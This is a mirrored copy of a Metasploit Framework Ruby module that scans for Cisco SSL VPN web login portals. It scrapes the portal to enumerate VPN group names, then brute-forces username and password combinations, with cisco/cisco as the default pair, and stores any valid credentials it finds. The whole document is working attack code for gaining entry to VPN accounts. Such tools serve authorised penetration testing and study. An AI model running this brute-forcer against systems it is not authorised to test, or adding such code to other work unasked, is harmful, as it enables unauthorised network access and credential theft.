Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::AuthBrute
10
include Msf::Auxiliary::Scanner
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',
17
'Description' => %q{
18
This module scans for Cisco SSL VPN web login portals and
19
performs login brute force to identify valid credentials.
20
},
21
'Author' => [
22
'Jonathan Claudius <jclaudius[at]trustwave.com>'
23
],
24
'License' => MSF_LICENSE,
25
'DefaultOptions' => {
26
'SSL' => true,
27
'USERNAME' => 'cisco',
28
'PASSWORD' => 'cisco'
29
},
30
'Notes' => {
31
'Reliability' => UNKNOWN_RELIABILITY,
32
'Stability' => UNKNOWN_STABILITY,
33
'SideEffects' => UNKNOWN_SIDE_EFFECTS
34
}
35
)
36
)
37
38
register_options(
39
[
40
Opt::RPORT(443),
41
OptString.new('GROUP', [false, "A specific VPN group to use", ''])
42
]
43
)
44
register_advanced_options(
45
[
46
OptBool.new('EmptyGroup', [true, "Use an empty group with authentication requests", false])
47
]
48
)
49
end
50
51
def run_host(ip)
52
unless check_conn?
53
vprint_error("Connection failed, Aborting...")
54
return false
55
end
56
57
unless is_app_ssl_vpn?
58
vprint_error("Application does not appear to be Cisco SSL VPN. Module will not continue.")
59
return false
60
end
61
62
vprint_good("Application appears to be Cisco SSL VPN. Module will continue.")
63
64
groups = Set.new
65
if datastore['EmptyGroup'] == true
66
groups << ""
67
elsif datastore['GROUP'].empty?
68
vprint_status("Attempt to Enumerate VPN Groups...")
69
groups = enumerate_vpn_groups
70
71
if groups.empty?
72
vprint_warning("Unable to enumerate groups")
73
vprint_warning("Using the default group: DefaultWEBVPNGroup")
74
groups << "DefaultWEBVPNGroup"
75
else
76
vprint_good("Enumerated VPN Groups: #{groups.to_a.join(", ")}")
77
end
78
79
else
80
groups << datastore['GROUP']
81
end
82
83
vprint_status("Starting login brute force...")
84
groups.each do |group|
85
each_user_pass do |user, pass|
86
do_login(user, pass, group)
87
end
88
end
89
end
90
91
# Verify whether the connection is working or not
92
def check_conn?
93
begin
94
res = send_request_cgi('uri' => '/', 'method' => 'GET')
95
if res
96
vprint_good("Server is responsive...")
97
return true
98
end
99
rescue ::Rex::ConnectionRefused,
100
::Rex::HostUnreachable,
101
::Rex::ConnectionTimeout,
102
::Rex::ConnectionError,
103
::Errno::EPIPE
104
end
105
false
106
end
107
108
def get_login_resource
109
send_request_cgi(
110
'uri' => '/+CSCOE+/logon.html',
111
'method' => 'GET',
112
'vars_get' => { 'fcadbadd' => "1" }
113
)
114
end
115
116
def enumerate_vpn_groups
117
groups = Set.new
118
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/
119
120
res = get_login_resource
121
if res && match = res.body.match(group_name_regex)
122
group_string = match[1]
123
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set
124
end
125
126
groups
127
end
128
129
# Verify whether we're working with SSL VPN or not
130
def is_app_ssl_vpn?
131
res = get_login_resource
132
res && res.code == 200 && res.body.match(/webvpnlogin/)
133
end
134
135
def do_logout(cookie)
136
send_request_cgi(
137
'uri' => '/+webvpn+/webvpn_logout.html',
138
'method' => 'GET',
139
'cookie' => cookie
140
)
141
end
142
143
def report_cred(opts)
144
service_data = {
145
address: opts[:ip],
146
port: opts[:port],
147
service_name: 'Cisco SSL VPN',
148
protocol: 'tcp',
149
workspace_id: myworkspace_id
150
}
151
152
credential_data = {
153
origin_type: :service,
154
module_fullname: fullname,
155
username: opts[:user],
156
private_data: opts[:password],
157
private_type: :password
158
}.merge(service_data)
159
160
login_data = {
161
last_attempted_at: DateTime.now,
162
core: create_credential(credential_data),
163
status: Metasploit::Model::Login::Status::SUCCESSFUL,
164
proof: opts[:proof]
165
}.merge(service_data)
166
167
create_credential_login(login_data)
168
end
169
170
# Brute-force the login page
171
def do_login(user, pass, group)
172
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")
173
174
begin
175
cookie = "webvpn=; " +
176
"webvpnc=; " +
177
"webvpn_portal=; " +
178
"webvpnSharePoint=; " +
179
"webvpnlogin=1; " +
180
"webvpnLang=en;"
181
182
post_params = {
183
'tgroup' => '',
184
'next' => '',
185
'tgcookieset' => '',
186
'username' => user,
187
'password' => pass,
188
'Login' => 'Logon'
189
}
190
191
post_params['group_list'] = group unless group.empty?
192
193
res = send_request_cgi(
194
'uri' => '/+webvpn+/index.html',
195
'method' => 'POST',
196
'ctype' => 'application/x-www-form-urlencoded',
197
'cookie' => cookie,
198
'vars_post' => post_params
199
)
200
201
if res &&
202
res.code == 200 &&
203
res.body.match(/SSL VPN Service/) &&
204
res.body.match(/webvpn_logout/i)
205
206
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
207
208
do_logout(res.get_cookies)
209
210
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
211
report_note(ip: rhost, type: 'cisco.cred.group', data: { :user => user, :group => group })
212
return :next_user
213
214
else
215
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
216
end
217
rescue ::Rex::ConnectionRefused,
218
::Rex::HostUnreachable,
219
::Rex::ConnectionTimeout,
220
::Rex::ConnectionError,
221
::Errno::EPIPE
222
vprint_error("HTTP Connection Failed, Aborting")
223
return :abort
224
end
225
end
226
end
227
228